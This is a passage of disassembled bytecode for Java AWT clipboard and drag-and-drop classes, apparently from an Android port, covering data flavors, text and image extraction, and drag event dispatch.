000000A2 invoke-virtual DataFlavor->getRepresentationClass()Class, v1
000000A8 move-result-object v1
000000AA invoke-interface Map->containsKey(Object)Z, v2, v1
:B0
000000B0 move-result v0
000000B2 goto :8
:B4
000000B4 move-exception v1
000000B6 goto :8
.catch Exception {:96 .. :B0} :B4
.end method
#--------------------------------------------------------------------------------
.class public DataSource
.super Object
.source ""
.implements DataProvider
.field protected final contents:Transferable
.field private flavors:[DataFlavor
.field private nativeFormats:List
.method public constructor <init>(Transferable)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, DataSource->contents:Transferable
0000000A return-void
.end method
.method private getImageBitmap(Image)RawBitmap
.registers 8
00000000 const/4 v5, 0x1
00000002 const/4 v4, 0x0
00000004 const/4 v1, 0x0
00000006 instance-of v0, p1, BufferedImage
0000000A if-eqz v0, :2A
:E
0000000E move-object v0, p1
00000010 check-cast v0, BufferedImage
00000014 invoke-virtual BufferedImage->getType()I, v0
0000001A move-result v2
0000001C if-ne v2, v5, :2A
:20
00000020 invoke-direct DataSource->getImageBitmap32(BufferedImage)RawBitmap, p0, v0
00000026 move-result-object v0
:28
00000028 return-object v0
:2A
0000002A invoke-virtual Image->getWidth(ImageObserver)I, p1, v1
00000030 move-result v0
00000032 invoke-virtual Image->getHeight(ImageObserver)I, p1, v1
00000038 move-result v2
0000003A if-lez v0, :42
:3E
0000003E if-gtz v2, :46
:42
00000042 move-object v0, v1
00000044 goto :28
:46
00000046 new-instance v3, BufferedImage
0000004A invoke-direct BufferedImage-><init>(I, I, I)V, v3, v0, v2, v5
00000050 invoke-virtual BufferedImage->getGraphics()Graphics, v3
00000056 move-result-object v0
00000058 invoke-virtual Graphics->drawImage(Image, I, I, ImageObserver)Z, v0, p1, v4, v4, v1
0000005E invoke-virtual Graphics->dispose()V, v0
00000064 invoke-direct DataSource->getImageBitmap32(BufferedImage)RawBitmap, p0, v3
0000006A move-result-object v0
0000006C goto :28
.end method
.method private getImageBitmap32(BufferedImage)RawBitmap
.registers 12
00000000 const/4 v1, 0x0
00000002 invoke-virtual BufferedImage->getWidth()I, p1
00000008 move-result v0
0000000A invoke-virtual BufferedImage->getHeight()I, p1
00000010 move-result v2
00000012 mul-int/2addr v0, v2
00000014 new-array v8, v0, [I
00000018 invoke-virtual BufferedImage->getRaster()WritableRaster, p1
0000001E move-result-object v0
00000020 invoke-virtual WritableRaster->getDataBuffer()DataBuffer, v0
00000026 move-result-object v0
00000028 check-cast v0, DataBufferInt
0000002C invoke-virtual DataBufferInt->getNumBanks()I, v0
00000032 move-result v3
00000034 invoke-virtual DataBufferInt->getOffsets()[I, v0
0000003A move-result-object v4
0000003C move v2, v1
:3E
0000003E if-lt v1, v3, :78
:42
00000042 new-instance v0, RawBitmap
00000046 invoke-virtual BufferedImage->getWidth()I, p1
0000004C move-result v1
0000004E invoke-virtual BufferedImage->getHeight()I, p1
00000054 move-result v2
00000056 invoke-virtual BufferedImage->getWidth()I, p1
0000005C move-result v3
0000005E const/16 v4, 0x20
00000062 const/high16 v5, 0xFF0000
00000066 const v6, 0xFF00
0000006C const/16 v7, 0xFF
00000070 invoke-direct/range RawBitmap-><init>(I, I, I, I, I, I, I, Object)V, v0 .. v8
00000076 return-object v0
:78
00000078 invoke-virtual DataBufferInt->getData(I)[I, v0, v1
0000007E move-result-object v5
00000080 aget v6, v4, v1
00000084 array-length v7, v5
00000086 aget v9, v4, v1
0000008A sub-int/2addr v7, v9
0000008C invoke-static System->arraycopy(Object, I, Object, I, I)V, v5, v6, v8, v2, v7
00000092 array-length v5, v5
00000094 aget v6, v4, v1
00000098 sub-int/2addr v5, v6
0000009A add-int/2addr v2, v5
0000009C add-int/lit8 v1, v1, 0x1
000000A0 goto :3E
.end method
.method private static getNativesForFlavors([DataFlavor)List
.registers 7
00000000 new-instance v3, ArrayList
00000004 invoke-direct ArrayList-><init>()V, v3
0000000A invoke-static SystemFlavorMap->getDefaultFlavorMap()FlavorMap
00000010 move-result-object v0
00000012 check-cast v0, SystemFlavorMap
00000016 const/4 v1, 0x0
00000018 move v2, v1
:1A
0000001A array-length v1, p0
0000001C if-lt v2, v1, :22
:20
00000020 return-object v3
:22
00000022 aget-object v1, p0, v2
00000026 invoke-virtual SystemFlavorMap->getNativesForFlavor(DataFlavor)List, v0, v1
0000002C move-result-object v1
0000002E invoke-interface List->iterator()Iterator, v1
00000034 move-result-object v4
:36
00000036 invoke-interface Iterator->hasNext()Z, v4
0000003C move-result v1
0000003E if-nez v1, :4A
:42
00000042 add-int/lit8 v1, v2, 0x1
00000046 move v2, v1
00000048 goto :1A
:4A
0000004A invoke-interface Iterator->next()Object, v4
00000050 move-result-object v1
00000052 check-cast v1, String
00000056 invoke-virtual ArrayList->contains(Object)Z, v3, v1
0000005C move-result v5
0000005E if-nez v5, :36
:62
00000062 invoke-virtual ArrayList->add(Object)Z, v3, v1
00000068 goto :36
.end method
.method private getText(Z)String
.registers 7
00000000 iget-object v0, p0, DataSource->contents:Transferable
00000004 invoke-interface Transferable->getTransferDataFlavors()[DataFlavor, v0
0000000A move-result-object v2
0000000C const/4 v0, 0x0
0000000E move v1, v0
:10
00000010 array-length v0, v2
00000012 if-lt v1, v0, :1A
:16
00000016 const/4 v0, 0x0
:18
00000018 return-object v0
:1A
0000001A aget-object v0, v2, v1
0000001E invoke-virtual DataFlavor->isFlavorTextType()Z, v0
00000024 move-result v3
00000026 if-nez v3, :32
:2A
0000002A add-int/lit8 v0, v1, 0x1
0000002E move v1, v0
00000030 goto :10
:32
00000032 if-eqz p1, :42
:36
00000036 invoke-direct DataSource->isHtmlFlavor(DataFlavor)Z, p0, v0
0000003C move-result v3
0000003E if-eqz v3, :2A
:42
00000042 const-class v3, String
00000046 invoke-virtual DataFlavor->getRepresentationClass()Class, v0
0000004C move-result-object v4
0000004E invoke-virtual Class->isAssignableFrom(Class)Z, v3, v4
00000054 move-result v3
00000056 if-eqz v3, :6C
:5A
0000005A iget-object v3, p0, DataSource->contents:Transferable
0000005E invoke-interface Transferable->getTransferData(DataFlavor)Object, v3, v0
00000064 move-result-object v0
00000066 check-cast v0, String
0000006A goto :18
:6C
0000006C iget-object v3, p0, DataSource->contents:Transferable
00000070 invoke-virtual DataFlavor->getReaderForText(Transferable)Reader, v0, v3
00000076 move-result-object v0
00000078 invoke-direct DataSource->getTextFromReader(Reader)String, p0, v0
:7E
0000007E move-result-object v0
00000080 goto :18
:82
00000082 move-exception v0
00000084 goto :2A
.catch Exception {:42 .. :7E} :82
.end method
.method private getTextFromReader(Reader)String
.registers 6
00000000 new-instance v0, StringBuilder
00000004 invoke-direct StringBuilder-><init>()V, v0
0000000A const/16 v1, 0x400
0000000E new-array v1, v1, [C
:12
00000012 invoke-virtual Reader->read([C)I, p1, v1
00000018 move-result v2
0000001A if-gtz v2, :28
:1E
0000001E invoke-virtual StringBuilder->toString()String, v0
00000024 move-result-object v0
00000026 return-object v0
:28
00000028 const/4 v3, 0x0
0000002A invoke-virtual StringBuilder->append([C, I, I)StringBuilder, v0, v1, v3, v2
00000030 goto :12
.end method
.method private isHtmlFlavor(DataFlavor)Z
.registers 4
00000000 const-string v0, "html"
00000004 invoke-virtual DataFlavor->getSubType()String, p1
0000000A move-result-object v1
0000000C invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000012 move-result v0
00000014 return v0
.end method
.method protected getDataFlavors()[DataFlavor
.registers 2
00000000 iget-object v0, p0, DataSource->flavors:[DataFlavor
00000004 if-nez v0, :18
:8
00000008 iget-object v0, p0, DataSource->contents:Transferable
0000000C invoke-interface Transferable->getTransferDataFlavors()[DataFlavor, v0
00000012 move-result-object v0
00000014 iput-object v0, p0, DataSource->flavors:[DataFlavor
:18
00000018 iget-object v0, p0, DataSource->flavors:[DataFlavor
0000001C return-object v0
.end method
.method public getFileList()[String
.registers 3
00000000 iget-object v0, p0, DataSource->contents:Transferable
00000004 sget-object v1, DataFlavor->javaFileListFlavor:DataFlavor
00000008 invoke-interface Transferable->getTransferData(DataFlavor)Object, v0, v1
0000000E move-result-object v0
00000010 check-cast v0, List
00000014 invoke-interface List->size()I, v0
0000001A move-result v1
0000001C new-array v1, v1, [String
00000020 invoke-interface List->toArray([Object)[Object, v0, v1
00000026 move-result-object v0
00000028 check-cast v0, [String
:2C
0000002C return-object v0
:2E
0000002E move-exception v0
00000030 const/4 v0, 0x0
00000032 goto :2C
.catch Exception {:0 .. :2C} :2E
.end method
.method public getHTML()String
.registers 2
00000000 const/4 v0, 0x1
00000002 invoke-direct DataSource->getText(Z)String, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public getNativeFormats()[String
.registers 3
00000000 invoke-virtual DataSource->getNativeFormatsList()List, p0
00000006 move-result-object v0
00000008 const/4 v1, 0x0
0000000A new-array v1, v1, [String
0000000E invoke-interface List->toArray([Object)[Object, v0, v1
00000014 move-result-object v0
00000016 check-cast v0, [String
0000001A return-object v0
.end method
.method public getNativeFormatsList()List
.registers 2
00000000 iget-object v0, p0, DataSource->nativeFormats:List
00000004 if-nez v0, :1C
:8
00000008 invoke-virtual DataSource->getDataFlavors()[DataFlavor, p0
0000000E move-result-object v0
00000010 invoke-static DataSource->getNativesForFlavors([DataFlavor)List, v0
00000016 move-result-object v0
00000018 iput-object v0, p0, DataSource->nativeFormats:List
:1C
0000001C iget-object v0, p0, DataSource->nativeFormats:List
00000020 return-object v0
.end method
.method public getRawBitmap()RawBitmap
.registers 6
00000000 iget-object v0, p0, DataSource->contents:Transferable
00000004 invoke-interface Transferable->getTransferDataFlavors()[DataFlavor, v0
0000000A move-result-object v2
0000000C const/4 v0, 0x0
0000000E move v1, v0
:10
00000010 array-length v0, v2
00000012 if-lt v1, v0, :1A
:16
00000016 const/4 v0, 0x0
:18
00000018 return-object v0
:1A
0000001A aget-object v0, v2, v1
0000001E invoke-virtual DataFlavor->getRepresentationClass()Class, v0
00000024 move-result-object v3
00000026 if-eqz v3, :72
:2A
0000002A const-class v4, Image
0000002E invoke-virtual Class->isAssignableFrom(Class)Z, v4, v3
00000034 move-result v3
00000036 if-eqz v3, :72
:3A
0000003A sget-object v3, DataFlavor->imageFlavor:DataFlavor
0000003E invoke-virtual DataFlavor->isMimeTypeEqual(DataFlavor)Z, v0, v3
00000044 move-result v3
00000046 if-nez v3, :56
:4A
0000004A invoke-virtual DataFlavor->isFlavorSerializedObjectType()Z, v0
00000050 move-result v3
00000052 if-eqz v3, :72
:56
00000056 iget-object v3, p0, DataSource->contents:Transferable
0000005A invoke-interface Transferable->getTransferData(DataFlavor)Object, v3, v0
00000060 move-result-object v0
00000062 check-cast v0, Image
00000066 invoke-direct DataSource->getImageBitmap(Image)RawBitmap, p0, v0
:6C
0000006C move-result-object v0
0000006E goto :18
:70
00000070 move-exception v0
:72
00000072 add-int/lit8 v0, v1, 0x1
00000076 move v1, v0
00000078 goto :10
.catch Throwable {:56 .. :6C} :70
.end method
.method public getSerializedObject(Class)[B
.registers 6
00000000 const/4 v1, 0x0
:2
00000002 new-instance v0, DataFlavor
00000006 const/4 v2, 0x0
00000008 invoke-direct DataFlavor-><init>(Class, String)V, v0, p1, v2
0000000E iget-object v2, p0, DataSource->contents:Transferable
00000012 invoke-interface Transferable->getTransferData(DataFlavor)Object, v2, v0
00000018 move-result-object v0
0000001A check-cast v0, Serializable
0000001E new-instance v2, ByteArrayOutputStream
00000022 invoke-direct ByteArrayOutputStream-><init>()V, v2
00000028 new-instance v3, ObjectOutputStream
0000002C invoke-direct ObjectOutputStream-><init>(OutputStream)V, v3, v2
00000032 invoke-virtual ObjectOutputStream->writeObject(Object)V, v3, v0
00000038 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v2
:3E
0000003E move-result-object v0
:40
00000040 return-object v0
:42
00000042 move-exception v0
00000044 move-object v0, v1
00000046 goto :40
.catch Throwable {:2 .. :3E} :42
.end method
.method public getText()String
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-direct DataSource->getText(Z)String, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public getURL()String
.registers 3
00000000 iget-object v0, p0, DataSource->contents:Transferable
00000004 sget-object v1, DataSource->urlFlavor:DataFlavor
00000008 invoke-interface Transferable->getTransferData(DataFlavor)Object, v0, v1
0000000E move-result-object v0
00000010 check-cast v0, URL
00000014 invoke-virtual URL->toString()String, v0
:1A
0000001A move-result-object v0
:1C
0000001C return-object v0
:1E
0000001E move-exception v0
:20
00000020 iget-object v0, p0, DataSource->contents:Transferable
00000024 sget-object v1, DataSource->uriFlavor:DataFlavor
00000028 invoke-interface Transferable->getTransferData(DataFlavor)Object, v0, v1
0000002E move-result-object v0
00000030 check-cast v0, URL
00000034 invoke-virtual URL->toString()String, v0
:3A
0000003A move-result-object v0
0000003C goto :1C
:3E
0000003E move-exception v0
:40
00000040 new-instance v0, URL
00000044 invoke-virtual DataSource->getText()String, p0
0000004A move-result-object v1
0000004C invoke-direct URL-><init>(String)V, v0, v1
00000052 invoke-virtual URL->toString()String, v0
:58
00000058 move-result-object v0
0000005A goto :1C
:5C
0000005C move-exception v0
0000005E const/4 v0, 0x0
00000060 goto :1C
.catch Exception {:0 .. :1A} :1E
.catch Exception {:20 .. :3A} :3E
.catch Exception {:40 .. :58} :5C
.end method
.method public isNativeFormatAvailable(String)Z
.registers 3
00000000 invoke-virtual DataSource->getNativeFormatsList()List, p0
00000006 move-result-object v0
00000008 invoke-interface List->contains(Object)Z, v0, p1
0000000E move-result v0
00000010 return v0
.end method
#--------------------------------------------------------------------------------
.class public DataTransferThread
.super Thread
.source ""
.field private final dtk:DTK
.method public constructor <init>(DTK)V
.registers 3
00000000 const-string v0, "AWT-DataTransferThread"
00000004 invoke-direct Thread-><init>(String)V, p0, v0
0000000A const/4 v0, 0x1
0000000C invoke-virtual DataTransferThread->setDaemon(Z)V, p0, v0
00000012 iput-object p1, p0, DataTransferThread->dtk:DTK
00000016 return-void
.end method
.method public run()V
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, DataTransferThread->dtk:DTK
00000006 invoke-virtual DTK->initDragAndDrop()V, v0
:C
0000000C invoke-virtual Object->notifyAll()V, p0
00000012 monitor-exit p0
:14
00000014 iget-object v0, p0, DataTransferThread->dtk:DTK
00000018 invoke-virtual DTK->runEventLoop()V, v0
0000001E return-void
:20
00000020 move-exception v0
:22
00000022 invoke-virtual Object->notifyAll()V, p0
00000028 throw v0
:2A
0000002A move-exception v0
0000002C monitor-exit p0
:2E
0000002E throw v0
.catchall {:2 .. :C} :20
.catchall {:C .. :14} :2A
.catchall {:22 .. :2E} :2A
.end method
.method public start()V
.registers 3
00000000 monitor-enter p0
:2
00000002 invoke-super Thread->start()V, p0
:8
00000008 invoke-virtual Object->wait()V, p0
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 move-exception v0
00000014 new-instance v1, RuntimeException
00000018 invoke-direct RuntimeException-><init>(Throwable)V, v1, v0
0000001E throw v1
:20
00000020 move-exception v0
00000022 monitor-exit p0
:24
00000024 throw v0
.catchall {:2 .. :8} :20
.catch InterruptedException {:8 .. :E} :12
.catchall {:8 .. :E} :20
.catchall {:E .. :24} :20
.end method
#--------------------------------------------------------------------------------
.class public DragSourceEventProxy
.super Object
.source ""
.implements Runnable
.field public static final DRAG_ACTION_CHANGED:I = 0x3
.field public static final DRAG_DROP_END:I = 0x6
.field public static final DRAG_ENTER:I = 0x1
.field public static final DRAG_EXIT:I = 0x5
.field public static final DRAG_MOUSE_MOVED:I = 0x4
.field public static final DRAG_OVER:I = 0x2
.field private final context:DragSourceContext
.field private final modifiers:I
.field private final success:Z
.field private final targetActions:I
.field private final type:I
.field private final userAction:I
.field private final x:I
.field private final y:I
.method public constructor <init>(DragSourceContext, I, I, I, Point, I)V
.registers 8
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, DragSourceEventProxy->context:DragSourceContext
0000000A iput p2, p0, DragSourceEventProxy->type:I
0000000E iput p3, p0, DragSourceEventProxy->userAction:I
00000012 iput p4, p0, DragSourceEventProxy->targetActions:I
00000016 iget v0, p5, Point->x:I
0000001A iput v0, p0, DragSourceEventProxy->x:I
0000001E iget v0, p5, Point->y:I
00000022 iput v0, p0, DragSourceEventProxy->y:I
00000026 iput p6, p0, DragSourceEventProxy->modifiers:I
0000002A const/4 v0, 0x0
0000002C iput-boolean v0, p0, DragSourceEventProxy->success:Z
00000030 return-void
.end method
.method public constructor <init>(DragSourceContext, I, I, Z, Point, I)V
.registers 8
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, DragSourceEventProxy->context:DragSourceContext
0000000A iput p2, p0, DragSourceEventProxy->type:I
0000000E iput p3, p0, DragSourceEventProxy->userAction:I
00000012 iput p3, p0, DragSourceEventProxy->targetActions:I
00000016 iget v0, p5, Point->x:I
0000001A iput v0, p0, DragSourceEventProxy->x:I
0000001E iget v0, p5, Point->y:I
00000022 iput v0, p0, DragSourceEventProxy->y:I
00000026 iput p6, p0, DragSourceEventProxy->modifiers:I
0000002A iput-boolean p4, p0, DragSourceEventProxy->success:Z
0000002E return-void
.end method
.method private newDragSourceDragEvent()DragSourceDragEvent
.registers 8
00000000 new-instance v0, DragSourceDragEvent
00000004 iget-object v1, p0, DragSourceEventProxy->context:DragSourceContext
00000008 iget v2, p0, DragSourceEventProxy->userAction:I
0000000C iget v3, p0, DragSourceEventProxy->targetActions:I
00000010 iget v4, p0, DragSourceEventProxy->modifiers:I
00000014 iget v5, p0, DragSourceEventProxy->x:I
00000018 iget v6, p0, DragSourceEventProxy->y:I
0000001C invoke-direct/range DragSourceDragEvent-><init>(DragSourceContext, I, I, I, I, I)V, v0 .. v6
00000022 return-object v0
.end method
.method public run()V
.registers 8
00000000 iget v0, p0, DragSourceEventProxy->type:I
00000004 packed-switch v0, :A8
:A
0000000A return-void
:C
0000000C iget-object v0, p0, DragSourceEventProxy->context:DragSourceContext
00000010 invoke-direct DragSourceEventProxy->newDragSourceDragEvent()DragSourceDragEvent, p0
00000016 move-result-object v1
00000018 invoke-virtual DragSourceContext->dragEnter(DragSourceDragEvent)V, v0, v1
0000001E goto :A
:20
00000020 iget-object v0, p0, DragSourceEventProxy->context:DragSourceContext
00000024 invoke-direct DragSourceEventProxy->newDragSourceDragEvent()DragSourceDragEvent, p0
0000002A move-result-object v1
0000002C invoke-virtual DragSourceContext->dragOver(DragSourceDragEvent)V, v0, v1
00000032 goto :A
:34
00000034 iget-object v0, p0, DragSourceEventProxy->context:DragSourceContext
00000038 invoke-direct DragSourceEventProxy->newDragSourceDragEvent()DragSourceDragEvent, p0
0000003E move-result-object v1
00000040 invoke-virtual DragSourceContext->dropActionChanged(DragSourceDragEvent)V, v0, v1
00000046 goto :A
:48
00000048 iget-object v0, p0, DragSourceEventProxy->context:DragSourceContext
0000004C invoke-direct DragSourceEventProxy->newDragSourceDragEvent()DragSourceDragEvent, p0
00000052 move-result-object v1
00000054 invoke-virtual DragSourceContext->dragMouseMoved(DragSourceDragEvent)V, v0, v1
0000005A goto :A
:5C
0000005C iget-object v0, p0, DragSourceEventProxy->context:DragSourceContext
00000060 new-instance v1, DragSourceEvent
00000064 iget-object v2, p0, DragSourceEventProxy->context:DragSourceContext
00000068 iget v3, p0, DragSourceEventProxy->x:I
0000006C iget v4, p0, DragSourceEventProxy->y:I
00000070 invoke-direct DragSourceEvent-><init>(DragSourceContext, I, I)V, v1, v2, v3, v4
00000076 invoke-virtual DragSourceContext->dragExit(DragSourceEvent)V, v0, v1
0000007C goto :A
:7E
0000007E iget-object v6, p0, DragSourceEventProxy->context:DragSourceContext
00000082 new-instance v0, DragSourceDropEvent
00000086 iget-object v1, p0, DragSourceEventProxy->context:DragSourceContext
0000008A iget v2, p0, DragSourceEventProxy->userAction:I
0000008E iget-boolean v3, p0, DragSourceEventProxy->success:Z
00000092 iget v4, p0, DragSourceEventProxy->x:I
00000096 iget v5, p0, DragSourceEventProxy->y:I
0000009A invoke-direct/range DragSourceDropEvent-><init>(DragSourceContext, I, Z, I, I)V, v0 .. v5
000000A0 invoke-virtual DragSourceContext->dragExit(DragSourceEvent)V, v6, v0
000000A6 goto :A
000000A8 .packed-switch 0x1
:C
:20
:34
:48
:5C
:7E
.end packed-switch
.end method
#--------------------------------------------------------------------------------
.class public FlavorsComparator
.super Object
.source ""
.implements Comparator
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public compare(DataFlavor, DataFlavor)I
.registers 7
00000000 const/4 v2, 0x0
00000002 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000004 const/4 v1, 0x1
00000006 invoke-virtual DataFlavor->isFlavorTextType()Z, p1
0000000C move-result v3
0000000E if-nez v3, :22
:12
00000012 invoke-virtual DataFlavor->isFlavorTextType()Z, p2
00000018 move-result v3
0000001A if-nez v3, :22
:1E
0000001E move v0, v2
:20
00000020 return v0
:22
00000022 invoke-virtual DataFlavor->isFlavorTextType()Z, p1
00000028 move-result v3
0000002A if-nez v3, :3A
:2E
0000002E invoke-virtual DataFlavor->isFlavorTextType()Z, p2
00000034 move-result v3
00000036 if-nez v3, :20
:3A
0000003A invoke-virtual DataFlavor->isFlavorTextType()Z, p1
00000040 move-result v3
00000042 if-eqz v3, :56
:46
00000046 invoke-virtual DataFlavor->isFlavorTextType()Z, p2
0000004C move-result v3
0000004E if-nez v3, :56
:52
00000052 move v0, v1
00000054 goto :20
:56
00000056 const/4 v3, 0x2
00000058 new-array v3, v3, [DataFlavor
0000005C aput-object p1, v3, v2
00000060 aput-object p2, v3, v1
00000064 invoke-static DataFlavor->selectBestTextFlavor([DataFlavor)DataFlavor, v3
0000006A move-result-object v2
0000006C if-eq v2, p1, :20
:70
00000070 move v0, v1
00000072 goto :20
.end method
.method public volatile bridge synthetic compare(Object, Object)I
.registers 4
00000000 check-cast p1, DataFlavor
00000004 check-cast p2, DataFlavor
00000008 invoke-virtual FlavorsComparator->compare(DataFlavor, DataFlavor)I, p0, p1, p2
0000000E move-result v0
00000010 return v0
.end method
#--------------------------------------------------------------------------------
.class public abstract NativeClipboard
.super Clipboard
.source ""
.field protected static final OPS_TIMEOUT:I = 0x2710
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct Clipboard-><init>(String)V, p0, p1
00000006 return-void
.end method
.method public onRestart()V
.registers 1
00000000 return-void
.end method
.method public onShutdown()V
.registers 1
00000000 return-void
.end method
#--------------------------------------------------------------------------------
.class public final RawBitmap
.super Object
.source ""
.field public final bMask:I
.field public final bits:I
.field public final buffer:Object
.field public final gMask:I
.field public final height:I
.field public final rMask:I
.field public final stride:I
.field public final width:I
.method public constructor <init>(I, I, I, I, I, I, I, Object)V
.registers 9
00000000 invoke-direct Object-><init>()V, p0
00000006 iput p1, p0, RawBitmap->width:I
0000000A iput p2, p0, RawBitmap->height:I
0000000E iput p3, p0, RawBitmap->stride:I
00000012 iput p4, p0, RawBitmap->bits:I
00000016 iput p5, p0, RawBitmap->rMask:I
0000001A iput p6, p0, RawBitmap->gMask:I
0000001E iput p7, p0, RawBitmap->bMask:I
00000022 iput-object p8, p0, RawBitmap->buffer:Object
00000026 return-void
.end method
.method public constructor <init>([I, Object)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 aget v0, p1, v0
0000000C iput v0, p0, RawBitmap->width:I
00000010 const/4 v0, 0x1
00000012 aget v0, p1, v0
00000016 iput v0, p0, RawBitmap->height:I
0000001A const/4 v0, 0x2
0000001C aget v0, p1, v0
00000020 iput v0, p0, RawBitmap->stride:I
00000024 const/4 v0, 0x3
00000026 aget v0, p1, v0
0000002A iput v0, p0, RawBitmap->bits:I
0000002E const/4 v0, 0x4
00000030 aget v0, p1, v0
00000034 iput v0, p0, RawBitmap->rMask:I
00000038 const/4 v0, 0x5
0000003A aget v0, p1, v0
0000003E iput v0, p0, RawBitmap->gMask:I
00000042 const/4 v0, 0x6
00000044 aget v0, p1, v0
00000048 iput v0, p0, RawBitmap->bMask:I
0000004C iput-object p2, p0, RawBitmap->buffer:Object
00000050 return-void
.end method
.method public getHeader()[I
.registers 4
00000000 const/4 v0, 0x7
00000002 new-array v0, v0, [I
00000006 const/4 v1, 0x0
00000008 iget v2, p0, RawBitmap->width:I
0000000C aput v2, v0, v1
00000010 const/4 v1, 0x1
00000012 iget v2, p0, RawBitmap->height:I
00000016 aput v2, v0, v1
0000001A const/4 v1, 0x2
0000001C iget v2, p0, RawBitmap->stride:I
00000020 aput v2, v0, v1
00000024 const/4 v1, 0x3
00000026 iget v2, p0, RawBitmap->bits:I
0000002A aput v2, v0, v1
0000002E const/4 v1, 0x4
00000030 iget v2, p0, RawBitmap->rMask:I
00000034 aput v2, v0, v1
00000038 const/4 v1, 0x5
0000003A iget v2, p0, RawBitmap->gMask:I
0000003E aput v2, v0, v1
00000042 const/4 v1, 0x6
00000044 iget v2, p0, RawBitmap->bMask:I
00000048 aput v2, v0, v1
0000004C return-object v0
.end method
#--------------------------------------------------------------------------------
.class public TextFlavor
.super Object
.source ""
.field public static final charsetTextClasses:[Class
.field public static final unicodeTextClasses:[Class
.method static constructor <clinit>()V
.registers 6
00000000 const/4 v5, 0x3
00000002 const/4 v4, 0x2
00000004 const/4 v3, 0x1
00000006 const/4 v2, 0x0
00000008 const/4 v0, 0x4
0000000A new-array v0, v0, [Class
0000000E const-class v1, String
00000012 aput-object v1, v0, v2
00000016 const-class v1, Reader
0000001A aput-object v1, v0, v3
0000001E const-class v1, CharBuffer
00000022 aput-object v1, v0, v4
00000026 const-class v1, [C
0000002A aput-object v1, v0, v5
0000002E sput-object v0, TextFlavor->unicodeTextClasses:[Class
00000032 new-array v0, v5, [Class
00000036 const-class v1, InputStream
0000003A aput-object v1, v0, v2
0000003E const-class v1, ByteBuffer
00000042 aput-object v1, v0, v3
00000046 const-class v1, [B
0000004A aput-object v1, v0, v4
0000004E sput-object v0, TextFlavor->charsetTextClasses:[Class
00000052 return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static addCharsetClasses(SystemFlavorMap, String, String, String)V
.registers 10
00000000 const/4 v0, 0x0
:2
00000002 sget-object v1, TextFlavor->charsetTextClasses:[Class
00000006 array-length v1, v1
00000008 if-lt v0, v1, :E
:C
0000000C return-void
:E
0000000E new-instance v1, StringBuilder
00000012 const-string v2, "text/"
00000016 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000001C invoke-virtual StringBuilder->append(String)StringBuilder, v1, p2
00000022 move-result-object v1
00000024 invoke-virtual StringBuilder->toString()String, v1
0000002A move-result-object v1
0000002C new-instance v2, StringBuilder
00000030 const-string v3, ";class=\""
00000034 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000003A sget-object v3, TextFlavor->charsetTextClasses:[Class
0000003E aget-object v3, v3, v0
00000042 invoke-virtual Class->getName()String, v3
00000048 move-result-object v3
0000004A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000050 move-result-object v2
00000052 const-string v3, "\""
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000005C move-result-object v2
0000005E const-string v3, ";charset=\""
00000062 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000068 move-result-object v2
0000006A invoke-virtual StringBuilder->append(String)StringBuilder, v2, p3
00000070 move-result-object v2
00000072 const-string v3, "\""
00000076 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000007C move-result-object v2
0000007E invoke-virtual StringBuilder->toString()String, v2
00000084 move-result-object v2
00000086 new-instance v3, DataFlavor
0000008A new-instance v4, StringBuilder
0000008E invoke-static String->valueOf(Object)String, v1
00000094 move-result-object v5
00000096 invoke-direct StringBuilder-><init>(String)V, v4, v5
0000009C invoke-virtual StringBuilder->append(String)StringBuilder, v4, v2
000000A2 move-result-object v2
000000A4 invoke-virtual StringBuilder->toString()String, v2
000000AA move-result-object v2
000000AC invoke-direct DataFlavor-><init>(String, String)V, v3, v2, v1
000000B2 invoke-virtual SystemFlavorMap->addFlavorForUnencodedNative(String, DataFlavor)V, p0, p1, v3
000000B8 invoke-virtual SystemFlavorMap->addUnencodedNativeForFlavor(DataFlavor, String)V, p0, v3, p1
000000BE add-int/lit8 v0, v0, 0x1
000000C2 goto :2
.end method
.method public static addUnicodeClasses(SystemFlavorMap, String, String)V
.registers 9
00000000 const/4 v0, 0x0
:2
00000002 sget-object v1, TextFlavor->unicodeTextClasses:[Class
00000006 array-length v1, v1
00000008 if-lt v0, v1, :E
:C
0000000C return-void
:E
0000000E new-instance v1, StringBuilder
00000012 const-string v2, "text/"
00000016 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000001C invoke-virtual StringBuilder->append(String)StringBuilder, v1, p2
00000022 move-result-object v1
00000024 invoke-virtual StringBuilder->toString()String, v1
0000002A move-result-object v1
0000002C new-instance v2, StringBuilder
00000030 const-string v3, ";class=\""
00000034 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000003A sget-object v3, TextFlavor->unicodeTextClasses:[Class
0000003E aget-object v3, v3, v0
00000042 invoke-virtual Class->getName()String, v3
00000048 move-result-object v3
0000004A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000050 move-result-object v2
00000052 const-string v3, "\""
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000005C move-result-object v2
0000005E invoke-virtual StringBuilder->toString()String, v2
00000064 move-result-object v2
00000066 new-instance v3, DataFlavor
0000006A new-instance v4, StringBuilder
0000006E invoke-static String->valueOf(Object)String, v1
00000074 move-result-object v5
00000076 invoke-direct StringBuilder-><init>(String)V, v4, v5
